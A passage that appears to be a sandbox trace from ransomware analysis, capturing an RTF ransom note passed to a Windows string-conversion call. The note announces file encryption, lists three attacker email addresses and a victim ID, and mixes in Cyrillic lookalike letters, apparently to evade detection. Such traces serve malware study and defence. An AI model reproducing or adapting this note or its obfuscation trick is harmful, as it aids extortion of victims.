str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 